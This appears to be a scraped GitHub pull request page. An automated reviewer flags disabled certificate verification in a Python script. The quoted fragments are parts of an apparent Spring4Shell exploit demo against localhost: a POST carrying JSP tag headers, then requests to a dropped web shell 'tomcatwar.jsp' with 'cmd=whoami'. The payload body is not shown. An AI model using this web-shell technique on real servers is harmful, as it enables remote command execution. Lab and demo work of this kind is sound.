Skip to content

Conversation

@DDuarte
Copy link
Owner

@DDuarte DDuarte commented Apr 18, 2023

No description provided.

Comment on lines +14 to +21
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=False,
)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=False,
)
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=True,
)
Created by disabled-cert-validation.

Comment on lines +26 to +31
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=False,
)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=False,
)
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=True,
)
Created by disabled-cert-validation.

Comment on lines +37 to +42
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=False,
).text[:20]
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=False,
).text[:20]
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=True,
).text[:20]
Created by disabled-cert-validation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants